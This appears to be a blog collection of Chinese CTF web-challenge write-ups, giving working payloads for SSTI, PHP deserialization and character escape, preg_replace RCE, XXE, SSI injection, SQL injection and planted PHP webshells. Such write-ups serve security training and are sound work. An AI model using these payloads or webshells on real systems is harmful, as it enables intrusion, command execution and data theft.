[BJDCTF2020]Mark loves cat
#Git泄露 #变量覆盖
存在git泄露。但是有一个问题,我用githack只能下载到assert文件夹,能看到index.php和flag.php却没下载下来。我就刷个题,也没时间详细分析这些问题,就直接去题目给的Github地址上找到了源码:
1 |
|
看到连续的两个$就要考虑是不是可能有变量覆盖。
构造payload:
1 |
/?yds=flag |
[BJDCTF2020]The mystery of ip
#SSTI
打开后看到两个页面:flag和hint。
flag里返回了一个局域网的ip。在hint的源码里看到注释:
1 |
<!-- Do you know why i know your ip? --> |
修改X-Forwarded-For重新请求发现ip变了,这里应该就是入口。
尝试修改各种ip并没有什么用,尝试注入也没反应。查了一下原来是SSTI,绝了。
输入
1 |
X-Forwarded-For: {{1+1}} |
返回49。应该是可以执行的。列目录:
1 |
{{system('ls')}} |
读flag:
1 |
{{system('cat /flag')}} |
[GWCTF 2019]我有一个数据库(TODO)
环境打不开
[BJDCTF2020]ZJCTF,不过如此
#命令执行
题目给了源码:
1 |
|
text可以使用php:input
伪协议绕过。file不能传flag,先读取next.php
payload:
1 |
/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php |
解码得到next.php源码:
1 |
|
preg_replace
使用e导致RCE。
preg_replace
函数在匹配到符号正则的字符串时,会将替换字符串(也就是代码中preg_replace
函数的第二个参数)当做代码来执行。上面的命令执行,相当于
eval('strtolower("\\1");')
结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为:
/?.*={${phpinfo()}}
,即 GET 方式传入的参数名为 /?.* ,值为{${phpinfo()}}
。原先的语句: preg_replace(‘/(‘ . $regex . ‘)/ei’, ‘strtolower(“\1”)’, $value);
变成了语句: preg_replace(‘/(.*)/ei’, ‘strtolower(“\1”)’, {${phpinfo()}});上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数。
我们 var_dump 一下 $_GET 数组,会发现我们传上去的 .* 变成了 _* ,这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。
所以我们要做的就是换一个正则表达式,让其匹配到
{${phpinfo()}}
即可执行 phpinfo 函数。这里我提供一个 payload :\S*=${phpinfo()}
下面再说说我们为什么要匹配到
{${phpinfo()}}
或者${phpinfo()}
,才能执行 phpinfo 函数,这是一个小坑。这实际上是PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。${phpinfo()}
中的 phpinfo() 会被当做变量先执行,执行后,即变成${1} (phpinfo()
成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
1
2
3
4
5
6
7
8 > var_dump(phpinfo()); // 结果:布尔 true
> var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
> var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
>
> var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
> var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
> 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
>
此处可以用getFlag读flag也可以直接执行命令。
直接执行,payload:
1 |
/next.php?\S*=${eval($_POST[pass])} |
用菜刀连接,在根目录下找到flag。
或者调用getFlag函数:
1 |
/next.php?\S*=${getflag()}&cmd=highlight_file('/flag'); |
[De1CTF 2019]SSRF Me(TODO)
题目给了源码,是flask。
1 |
#! /usr/bin/env python |
[网鼎杯 2020 朱雀组]phpweb
#PHP反序列化
1 |
<form id=form1 name=form1 action="index.php" method=post> |
尝试执行phpinfo():
1 |
func=eval&p=phpinfo() |
提示Hacker,有过滤。读一下源码:
1 |
func=highlight_file&p=index.php |
1 |
<!DOCTYPE html> |
尝试反序列化:
1 |
|
列根目录
1 |
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";} |
1 |
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var var |
没找到flag。在tmp目录下看到flagoefiu4r93
,查看该文件得到flag。
1 |
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";} |
[BJDCTF 2nd]假猪套天下第一
#HTTP协议
用户名输入admin登录,用Burpsuite抓包,提示:
1 |
<!-- L0g1n.php --><br /> |
访问:L0g1n.php
提示:
1 |
Sorry, this site will be available after totally 99 years! |
可以注意到cookie里有一个time,把它调大。
1 |
time=1612692996 |
改成5612692996后,提示:
1 |
Sorry, this site is only optimized for those who comes from localhost |
在header里添加X-Forwarded-For
:
1 |
X-Forwarded-For: 127.0.0.1 |
提示:
1 |
Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive |
那改成X-Real-IP
绕过,提示:
1 |
Sorry, this site is only optimized for those who come from gem-love.com |
加上referer:
1 |
Referer: gem-love.com |
提示:
1 |
Sorry, this site is only optimized for browsers that run on Commodo 64 |
加UA:
1 |
User-agent: Commodo 64 |
提示:
1 |
no no no i think it is not the real commmodo 64, <br>what is the real ua for Commdo? |
百度找了一个:
1 |
User-agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/) |
提示:
1 |
Sorry, this site is only optimized for those whose email is [email protected] |
添加From:
1 |
From: [email protected] |
提示:
1 |
Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month |
添加Via:
1 |
Via: y1ng.vip |
得到Base64编码的flag。
最终修改的请求为:
1 |
X-Real-IP: 127.0.0.1 |
[GKCTF2020]CheckIN
#PHP bypass disable function
给了源码:
1 |
<title>Check_In</title> |
查看phpinfo();
:
1 |
/?Ginkgo=cGhwaW5mbygpOw== |
编码一句话后用蚁剑连接成功:
1 |
/?Ginkgo=ZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7 |
在根目录下找到flag,但不能读,属性是700。可以发现还有一个readflag文件,应该是需要这个。
在Github上找了一个bypass disable function的exp:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
把pwn("uname -a");
改成pwn("/readflag");
把exp上传到tmp目录下,用include('/tmp/exploit.php');
调用得到flag。
[NCTF2019]Fake XML cookbook
#XXE
题目提示XML,源码:
1 |
function doLogin(){ |
首先想到XXE。
构造payload:
1 |
|
得到flag。
参考:
[ASIS 2019]Unicorn shop
#Trick
源码提示:
1 |
<meta charset="utf-8"><!--Ah,really important,seriously. --> |
我们什么也不输直接购买会报错:
1 |
Traceback (most recent call last): |
有一个unicodedata.numeric(price)
函数。将Unicode字符(chr)转换为等效的数值。以浮点形式返回与chr相对应的数值。
举个栗子:
1 |
import unicodedata |
输出4.0
那么我们只要输入一个unicode对应字符大于1337.0
即可。举个栗子:፼
(埃塞俄比亚一万)或者𐡟
(帝国亚拉姆语一万),可以在
https://www.compart.com/en/unicode/category/No 查找。
输入上面的一个字符即可获得flag。
[BJDCTF2020]Cookie is so stable
#SSTI
题目提醒了cookie,在hint里也有提醒:
1 |
<!-- Why not take a closer look at cookies? --> |
在flag页面随便输入一个就可以成功登录,在cookie里也会增加一个user,里面是刚刚输入的东西。
这个题和[BJDCTF2020]The mystery of ip很像,首先想到SSTI,输入49
成功执行并返回49。
比起上一道SSTI,这道题稍微复杂了点,直接执行{(hexo报错,删除括号){system('ls')}}
提示:
1 |
What do you want to do? |
找了一张图,SSTI的测试流程:
测试是Twig。payload:
1 |
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
[CISCN 2019 初赛]Love Math(TODO)
题目给了源码:
1 |
|
[0CTF 2016]piapiapia
#反序列化字符逃逸
我本来以为这个题是注入或密码爆破,结果发现并不是。
有www.zip泄露源码。在下载下来的代码中,有几处可能有问题:
profile.php:
1 |
|
在photo那里有一处文件读取,profile有一处反序列化。再看一下update.php:
1 |
|
存在各种过滤,最后把更新后的数据序列化存入数据库中。此外,在config.php有一个flag变量,那我们最终的目标就是构造反序列化,让本来读照片的profile读config.php。
那么问题来了,photo会重新命名,即使改成config也没有用,该怎么做?在后端中,反序列化是以";}
结束的,因此如果我们把";}
带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前结束而后面的内容就会被丢弃。在这里,我们只要在nickname那里构造好语句提前结束反序列化就可以了。
再看nickname的过滤,需要绕过限制,可以使用数组nickname[]
绕过。
数组绕过:
- md5(Array()) = null
- sha1(Array()) = null
- ereg(pattern,Array()) =null
- preg_match(pattern,Array()) = false
- strcmp(Array(), “abc”) =null
- strpos(Array(),“abc”) = null
- strlen(Array()) = null
最后看一下class.php里的几个函数update_profile
、update
和filter
:
1 |
public function update_profile($username, $new_profile) { |
先简单构造:
1 |
$profile['phone']='13312341234'; |
1 |
a:4:{s:5:"phone";s:11:"13312341234";s:5:"email";s:6:"[email protected]";s:8:"nickname";a:1:{i:0;s:4:"name";}s:5:"photo";s:10:"config.php";} |
nickname使用";}s:5:"photo";s:10:"config.php";}
提前结束序列化语句。但直接修改并不能拿到config,直接输入只会将payload作为nickname,需要反序列化字符逃逸。filter在序列化之后,序列化时nickname的长度就已经决定,利用filter来修改nickname的长度为我们想要的长度后再截断就可以将我们的反序列化字符串逃逸。由于我们的payload长度是34,而where作为敏感字符替换为hacker会长度+1,输入34个where会向后移动34位就会将我们的payload挤到合适的位置上。
payload:
1 |
Content-Disposition: form-data; name="nickname[]" |
得到结果:
1 |
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBhYzQ0MWE4LWUwYWEtNDg5Mi04YTU4LTNiOWQ2ZDZmMTgwOX0nOwo/Pgo= |
解Base64得到flag。
[SUCTF 2019]Pythonginx
#Python Trick
题目给了提示:
1 |
|
1 |
<!-- Dont worry about the suctf.cc. Go on! --> |
首先需要绕过前两个对host == 'suctf.cc
的判断,但要进入第三个判断。
涉及到了BlackHat 19的一个议题:HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization。简单概括就是,这里Python用IDNA处理会把℀
转换为a/c
,当然存在类似问题的字符还有很多,如℁
,℅
,℆
等等,也可以使用ℂ
转为c绕过。
提示nginx,读取nginx配置文件/usr/local/nginx/conf/nginx.conf
构造payloadgetUrl?url=file://suctf.cℂ/../../../usr/local/nginx/conf/nginx.conf
得到:
1 |
server { |
读取/usr/fffffflag
得到flag。
1 |
getUrl?url=file://suctf.cℂ/../../../usr/fffffflag |
[BSidesCF 2020]Had a bad day
#文件包含
WOOFER和MEOWERS随便点一个,跳转到category,在末尾加个单引号报错:
1 |
Warning: include(meowers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37 |
有一个文件包含,尝试包含别的文件,如index:index.php?category=index
1 |
Sorry, we currently only support woofers and meowers. |
使用php://filter伪协议试试:
1 |
index.php?category=php://filter/convert.base64-encode/resource=index |
解码得到index源码(只保留php):
1 |
|
读一下flag试试:
1 |
index.php?category=meowers/../flag |
在返回的源码中看到:
1 |
<!-- Can you read this flag? --> |
用php://filter伪协议
1 |
index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag |
解Base64得到flag。
[安洵杯 2019]easy_serialize_php
#反序列化字符逃逸
题目给了源码:
1 |
|
看一下phpinfo:
1 |
index.php?f=phpinfo |
在Core的auto_append_file中我们可以看到一个d0g3_f1ag.php
。
这道题和[0CTF 2016]piapiapia不同,通过过滤关键词减少。有两种方法,键逃逸和值逃逸。
值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
1 |
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image |
1 |
"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}" |
键逃逸:
这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
1 |
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} |
1 |
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}" |
这儿得s:7:””之所以为空,是因为我们构造得键flagphp都是会被过滤的,所以显示为空,这样就能吃掉一部分值了,然后将剩下得值充当另一个对象逃逸出去。
本题是关键字被置空导致长度变短,后面的值的单引号闭合了前面的值的单引号,导致一些内容逃逸。extract后覆盖了两个没用的属性,但是后面又强制加了一个我们不可控的img属性。
payload:
1 |
index.php?f=show_image |
1 |
|
修改payload中的ZDBnM19mMWFnLnBocA==
为L2QwZzNfZmxsbGxsbGFn
得到flag。
参考:
[WesternCTF2018]shrine
#SSTI
题目给了源码:
1 |
import flask |
源码给出了jinja,过滤了config和self,括号也过滤了。
使用/shrine/
读一下变量。
读flag:
1 |
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}} |
[SWPU2019]Web1(TODO)
#SQL注入
[BJDCTF 2nd]简单注入(TODO)
robots.txt提示hint.txt,读取hint.txt:
1 |
Only u input the correct password then u can get the flag |
[WUSTCTF2020]朴实无华
#PHP特性 #命令执行
一打开就有一个php的报错:
1 |
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:3) in /var/www/html/index.php on line 4 |
在robots.txt里提示:fAke_f1agggg.php
,访问这个php,在返回的header里看到:
1 |
Look_at_me: /fl4g.php |
访问fl4g.php给了源码:
1 |
<img src="/img.jpg"> |
需要绕过3个if:
1 |
if(intval($num) < 2020 && intval($num + 1) > 2021) |
第一个整数类型可以用科学记数法绕过,如果intval函数参数是科学计数法的字符串,会以e前面的数字作为返回值,而经过计算后又会转为普通的数字而绕过第一个判断:num=1e5
第二个md5弱类型比较,当字符串是以0e开头,后面都是数字,在比较时都会转为0,0e215962017
在加密前后都是0e开头数字字符串,可以绕过:md5=0e215962017
第三个会替换掉空格和cat执行命令,先ls一下:
1 |
/fl4g.php?num=1e5&md5=0e215962017&get_flag=ls |
看一下那个超长的文件。cat不能用可以用tac,空格也可以用$IFS$9
绕过:
1 |
fl4g.php?num=1e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag |
得到flag。
[网鼎杯 2020 朱雀组]Nmap
#WAF绕过
和[BUUCTF 2018]Online Tool差不多。
使用nmap的oG参数将一句话输入到文件中。
题目过滤了php,可以用下面的语句绕过:
1 |
' <?= @eval($_POST["pass"]);?> -oG hack.phtml ' |
根目录下找到flag。
[极客大挑战 2019]FinalSQL(TODO)
[MRCTF2020]PYWebsite
#HTTP协议
需要购买输入授权码,在网页源码里有一段js:
1 |
function enc(code) { |
可以直接访问flag.php,或者解密md5也可以,解密的结果是:ARandomString
访问提示:
1 |
我已经把购买者的IP保存了,显然你没有购买 |
提示IP,使用X-Forwarded-For: 127.0.0.1
绕过得到flag。
[NPUCTF2020]ReadlezPHP
#PHP反序列化
在源码中看到:
1 |
<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p> |
访问这个链接获得time.php源码:
1 |
|
是一个php反序列化。构造php:
1 |
class HelloPhp |
在phpinfo里找到flag。这里有一个坑,本来我是想直接读文件的,但是并不行,看phpinfo结果在里面找到了flag。
[NCTF2019]True XML cookbook
#XXE
和[NCTF2019]Fake XML cookbook类似,还是XXE。源码:
1 |
function doLogin(){ |
然后,这道题就没法做了。怎么找也找不到flag,找wp,说是在内网。
看/etc/hosts
没什么东西,在/proc/net/arp
发现:
1 |
IP address HW type Flags HW address Mask Device |
访问10.240.18.2报错,用Burpsuite扫一下C段,在11找到了flag,最终的payload:
1 |
<!DOCTYPE ANY [ |
[BJDCTF2020]EasySearch
#SSI注入
有源码泄露,index.php.swp:
1 |
|
密码的md5前6位是6d0bc1
,然后会把用户名写入到一个shtml文件中。
这个密码很容易跑,2020666就可以。
在返回的header里有一个Url_is_here,访问这个可以看到输入的username,时间和ip。
SSI是英文”Server Side Includes”的缩写,翻译成中文就是服务器端包含的意思。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。
在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。
①显示服务器端环境变量<#echo>
本文档名称:
<!–#echo var=”DOCUMENT_NAME”–>
现在时间:
<!–#echo var=”DATE_LOCAL”–>
显示IP地址:
<! #echo var=”REMOTE_ADDR”–>
②将文本内容直接插入到文档中<#include>
<! #include file=”文件名称”–>
<! #include virtual=”文件名称”–>
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<! #flastmod file=”文件名称”–>
文件的长度:
<!–#fsize file=”文件名称”–>
④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
<!–#exec cmd=”文件名称”–>
<!–#exec cgi=”文件名称”–>
<!–#exec cgi=”/cgi-bin/access_log.cgi”–>
将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。
⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)
⑥高级SSI可设置变量使用if条件语句。
尝试ls一下:
1 |
username=<!--#exec cmd="ls"-->&password=2020666 |
并没有东西,那就看一下上一级目录
1 |
username=<!--#exec cmd="ls ../"-->&password=2020666 |
发现了flag_990c66bf85a09c664f0b6741840499b2
1 |
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666 |
得到flag。
[BJDCTF 2nd]xss之光
#XSS
有git泄露。把源码下载下来:
1 |
|
很简单,就两行,有一处反序列化。题目提到了XSS。
构造php:
1 |
|
成功弹窗,但没有拿到flag。
构造:
1 |
|
在返回的Set-Cookie中发现flag。
利用php的原生类进行XSS
当对象被创建的时候调用:__construct
当对象被销毁的时候调用:__destruct
当对象被当作一个字符串使用时候调用(不仅仅是echo
的时候,比如file_exists()判断也会触发):__toString
序列化对象时就调用的方法(其返回需要是一个数组):__sleep
反序列化恢复对象时就调用的方法:__wakeup
当调用对象中不存在的方法会自动调用此方法:__callError
适用于php7版本
1
2
3
4
5
6 >
> $a = new Error("<script>alert(1)</script>");
> $b = serialize($a);
> echo urlencode($b);
>
>
Exception
适用于php5、7版本
这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用。
1
2
3
4
5 >
> $a = new Exception("<script>alert(1)</script>");
> echo urlencode(serialize($a));
>
>
参考:https://blog.csdn.net/qq_45521281/article/details/105812056
[MRCTF2020]Ezpop
#PHP反序列化
给了源码:
1 |
|
首先反序列化函数,触发Show类中的wakeup方法,wakeup方法做字符串处理,触发tosring方法,如果将str实例化为Test,因为Test类中不含source属性,所以调用get方法,将function实例化为Modifier类,即可触发其中invoke方法,最终调用文件包含函数,读取flag.php
1 |
|
得到:
1 |
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A3%3A%22aaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D |
请求得到flag。
[CISCN2019 华北赛区 Day1 Web2]ikun(TODO)
[GYCTF2020]FlaskApp
#SSTI
在解密那里随便输入点东西会报错,在报错中能看到部分源码:
1 |
|
看到render_template_string想到可能是SSTI。直接尝试用SSTI执行命令:
1 |
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} |
被WAF拦截。
尝试读源码:
1 |
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %} |
得到:
1 |
from flask import Flask,render_template_string |
可以尝试使用字符串拼接绕过WAF。列目录:
1 |
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}} |
得到:
1 |
'bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app' |
看到this_is_the_flag.txt
,读一下:
1 |
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %} |
或用字符串反转:
1 |
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %} |
得到flag。
[CISCN2019 华北赛区 Day1 Web1]Dropbox
#PHAR #文件上传
注册以后随便上传一个图片下载,抓包后发现请求的POST内容是filename=文件名,尝试读取index和download.php:
index(filename=../../index.php):
1 |
|
download(filename=../../download.php
):
1 |
|
delete.php:
1 |
|
他们都include了class.php,读一下(filename=../../class.php
):
1 |
|
构造payload:
1 |
|
请求:
1 |
POST /delete.php |
得到flag。
[GKCTF2020]老八小超市儿
#漏洞利用 #弱口令
一打开就能发现这是一个现成的CMS,可以查到默认后台为admin.php,用户名admin
密码shopxo
成功登录后台。
先去下载一个主题,需要注意的是,现在的主题是1.8.0,我用最新的1.9.3会打不开网站,最好还是下载1.8.0的主题。在_static_
文件夹下放一个马并在后台的网站管理>主题管理中上传,马的位置在:/public/static/index/default/
。
用蚁剑连接后在根目录下发现flag:
1 |
flag{this_is_fake_flag/true_flag_in_/root} |
访问root目录发现没有权限。
在根目录下发现auto.sh
:
1 |
|
读取/var/mail/makeflaghint.py
:
1 |
import os |
而且我们可以看到flag.hint
内容为:
1 |
Wed Feb 24 08:12:54 2021 |
修改一下makeflaghint.py
,在f.close()
前加一行:
1 |
f.write(io.open("/root/flag", "rb+").read()) |
一分钟后在flag.hint中可以看到flag。
[CISCN2019 华东南赛区]Web11
#SSTI
在网页的最下面写着:
1 |
Build With Smarty ! |
Smarty是一个PHP的模板引擎。在API Usage
中也提示了X-Forwarded-For
,在X-Forwarded-For
处尝试SSTI:
1 |
{7*7} |
返回49,存在SSTI。
在Smarty文档中我们也可以看到一些比较有意思的变量。
读取版本:
1 |
{$smarty.version} |
返回3.1.30
。使用{include}
报错,使用if执行命令得到flag:
1 |
{if readfile('/flag')}{/if} |
[GWCTF 2019]枯燥的抽奖(TODO)
#PHP伪随机数
在源码中发现check.php,访问获得源码:
1 |
|
[BSidesCF 2019]Futurella(TODO)
直接右键查看源码就拿到了flag???
[极客大挑战 2019]RCE ME
#WAF绕过
给了源码:
1 |
|
code不能有字母数字,要在40个字符内完成RCE。可以用过异或或者取反等方法绕过:
1 |
php -r "echo urlencode(~'phpinfo');" |
构造payload:
1 |
<?php |
用蚁剑连接
1 |
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8F%9E%8C%8C%DD%A2%D6%D6); |
但是发现并不能读flag。在disable_functions中禁用了大多数的函数,需要绕过。
使用了蚁剑的绕过disable functions插件,PHP_GC_WAF
模式,调用根目录下的readflag文件得到flag。
[WUSTCTF2020]颜值成绩查询(TODO)
#SQL注入
[MRCTF2020]套娃
#WAF绕过
源码能看到代码:
1 |
//1st |
第一个if可以用%20
替换_
来绕过,第二个可以在结尾加一个%0a
换行绕过。
1 |
/?b%20u%20p%20t=23333%0a |
得到:
1 |
FLAG is in secrettw.php |
页面上写:
1 |
Flag is here~But how to get it?Local access only! |
在源码中看到jsfuck,直接在控制台里运行,弹窗:
1 |
post me Merak |
随便POST一个Merak=1
后返回源码:
1 |
|
ip可以用请求头Client-Ip: 127.0.0.1
绕过
2333可以用php://input
或data:text/plain
绕过
1 |
/secrettw.php?2333=data:text/plain,todat is a happy day |
看change
函数,写个反向加密的函数:
1 |
import base64 |
得到:ZmpdYSZmXGI=
,最后payload:
1 |
GET /secrettw.php?2333=php://input&file=ZmpdYSZmXGI= |
得到flag。
[BSidesCF 2019]Kookie
#HTTP协议
提示:
1 |
Log in as admin! |
在cookie里加上:
1 |
username=admin |
即可得到flag。
[FBCTF2019]RCEService
#WAF绕过
可以使用换行绕过限制。
看下能用的命令:
1 |
/?cmd={%0a"cmd":"ls /bin"%0a} |
得到:
1 |
bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp dash date dd df dir dmesg dnsdomainname domainname echo egrep false fgrep findmnt grep gunzip gzexe gzip hostname kill ln login ls lsblk mkdir mknod mktemp more mount mountpoint mv nisdomainname pidof ps pwd rbash readlink rm rmdir run-parts sed sh sleep stty su sync tar tempfile touch true umount uname uncompress vdir wdctl which ypdomainname zcat zcmp zdiff zegrep zfgrep zforce zgrep zless zmore znew |
读一下源码:
1 |
/?cmd={%0a"cmd":"/bin/cat index.php"%0a} |
得到:
1 |
|
命令只能用绝对路径,而且正则只匹配了一行可以用换行绕过。
ls一下/home/rceservice/
看到flag,读取flag:
1 |
/?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a} |
[CISCN2019 总决赛 Day2 Web1]Easyweb
#源码泄露 #SQL注入
发现有robots.txt,内容如下:
1 |
User-agent: * |
可以发现图片也是一个php,成功下载到image.php.bak:
1 |
<?php |
可以看到id和path参数过滤了单引号,\0以及用addslashes
进行了转义。
使用\0'
绕过并闭合单引号,payload:?id=\0'&path= or 1=1;--+
。
脚本如下:
1 |
import requests |
用户名:admin
,密码:97d0d48e316a13307cce
成功登录。
在文件上传页上传php提示不能上传,上传普通文件成功。
发现返回了一个log.php的文件。访问可以看到刚刚上传的所有文件名。尝试在文件名写马。
但是<?php
不能上传,可以用<?=
绕过。上传后连接刚刚的log文件即可在根目录找到flag。
[Zer0pts2020]Can you guess it?
#PHP特性
题目给了源码:
1 |
|
看到在最上面正则和highlight_file
那里有一个$_SERVER['PHP_SELF']
和basename
。
https://www.php.net/manual/zh/reserved.variables.server.php
‘PHP_SELF’
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。FILE 常量包含当前(例如包含)文件的完整路径和文件名。 如果 PHP 以命令行模式运行,这个变量将包含脚本名。
https://www.php.net/manual/zh/function.basename
basename — 返回路径中的文件名部分
如果传入/index.php/config.php/
,则$_SERVER['PHP_SELF']
返回/index.php/config.php/
,basename($_SERVER['PHP_SELF'])
返回config.php
即/index.php/config.php/
运行的是index.php
,但是basename()
获取到的是config.php
正常我们可以/index.php/config.php?source
读取,但是因为存在正则/config\.php\/*$/i
来限制URL结尾出现config.php
,返回空。
payload:
1 |
http://3e24c642-f70a-4944-ba1c-c546717b0eb3.node3.buuoj.cn/index.php/config.php/%F0%9F%98%80?source |
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
#SQL注入
在首页源码中看到<!--?file=?-->
尝试使用伪协议读取源码:
/?file=php://filter/convert.base64-encode/resource=index.php
index:
1 |
|
类似的:
1 |
# search.php |
可以看到,在change.php中的address过滤不严,只有一个addslashes
函数转义。
1 |
$address = addslashes($_POST["address"]); |
更新时还会再将旧的地址取出来会引发二次注入。
使用updatexml
进行报错注入,由于长度限制,需要将flag拆为两部分:
1 |
payload1: |
在提交订单处的地址填入payload1,然后再修改地址,修改地址会报错爆出第一段flag。然后删除订单后重复之前的操作,填入payload2拼接得到完整flag。
[网鼎杯 2018]Comment (TODO)
#